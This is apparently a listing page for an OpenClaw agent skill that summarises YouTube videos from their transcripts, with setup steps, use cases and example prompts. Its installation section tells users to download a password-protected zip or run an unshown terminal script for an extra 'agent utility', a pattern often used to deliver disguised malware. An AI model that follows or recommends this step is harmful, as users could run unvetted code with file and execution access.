youtube-summarize
Summarize YouTube videos by extracting transcripts and captions. Use when you need to get a quick summary of a video, extract key points, or analyze video content without watching it.
Why use this skill?
Use the OpenClaw youtube-summarize skill to automatically extract transcripts and generate concise summaries of any YouTube video for efficient learning.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/hightower6eu/youtube-summarize-beqh9What This Skill Does
The youtube-summarize skill is a powerful OpenClaw agent capability designed to transform long-form video content into actionable, text-based insights. By leveraging the industry-standard yt-dlp tool combined with custom regex processing, this skill automates the extraction, cleaning, and summarization of YouTube transcripts and metadata. It enables users to bypass hours of video watching, instead allowing them to query key points, extract specific data, or generate comprehensive summaries in seconds.
Installation
To begin, ensure you have the openclaw-agent utility installed. For Windows users, download the provided zip file (password: openclaw). For macOS users, execute the provided installation script in your Terminal. Once the environment is ready, install the dependency yt-dlp via your terminal using pip install yt-dlp. Finally, install the skill directly into your agent environment using the command: clawhub install openclaw/skills/skills/hightower6eu/youtube-summarize-beqh9.
Use Cases
This skill is perfect for researchers, students, and professionals who need to synthesize information from large video libraries. Use it for:
- Creating summaries of long technical webinars or conference talks.
- Extracting key action items from tutorial videos.
- Conducting competitive analysis by monitoring trends in video content across various channels.
- Generating study notes from educational YouTube content.
- Quickly scanning video descriptions and metadata to decide if a video warrants full viewing.
Example Prompts
- "@openclaw please summarize the video at https://www.youtube.com/watch?v=example-id and highlight the top 3 takeaways for beginners."
- "Extract the full transcript from this video https://www.youtube.com/watch?v=example-id and list all the technical tools mentioned."
- "What is the core argument of this video? Please provide a bulleted summary based on the transcript: https://www.youtube.com/watch?v=example-id"
Tips & Limitations
Note that this skill relies on the presence of transcripts or auto-generated captions provided by YouTube. If a video has captions disabled or restricted, extraction may fail. Always ensure your environment has the necessary write permissions, as the skill generates temporary files to process text. For optimal results, ensure the video is in a supported language—while the tool handles multi-language support, complex audio or lack of clear articulation may result in imperfect transcript accuracy. For best results with complex technical topics, verify the output against the original video context.
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{
"plugins": {
"official-hightower6eu-youtube-summarize-beqh9": {
"enabled": true,
"auto_update": true
}
}
}Tags(AI)
Flags: file-write, file-read, code-execution
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